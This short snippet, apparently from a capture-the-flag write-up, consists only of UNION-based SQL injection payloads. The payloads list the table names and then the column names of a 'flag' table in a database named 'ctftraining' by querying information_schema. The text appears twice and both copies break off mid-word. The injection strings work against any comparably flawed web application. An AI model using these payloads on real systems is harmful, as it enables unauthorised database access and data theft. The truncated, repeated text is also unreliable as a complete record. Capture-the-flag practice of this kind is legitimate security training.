id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+ ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+ ?id=0' union select 1,2,gro...
id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+ ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+ ?id=0' union select 1,2,gro...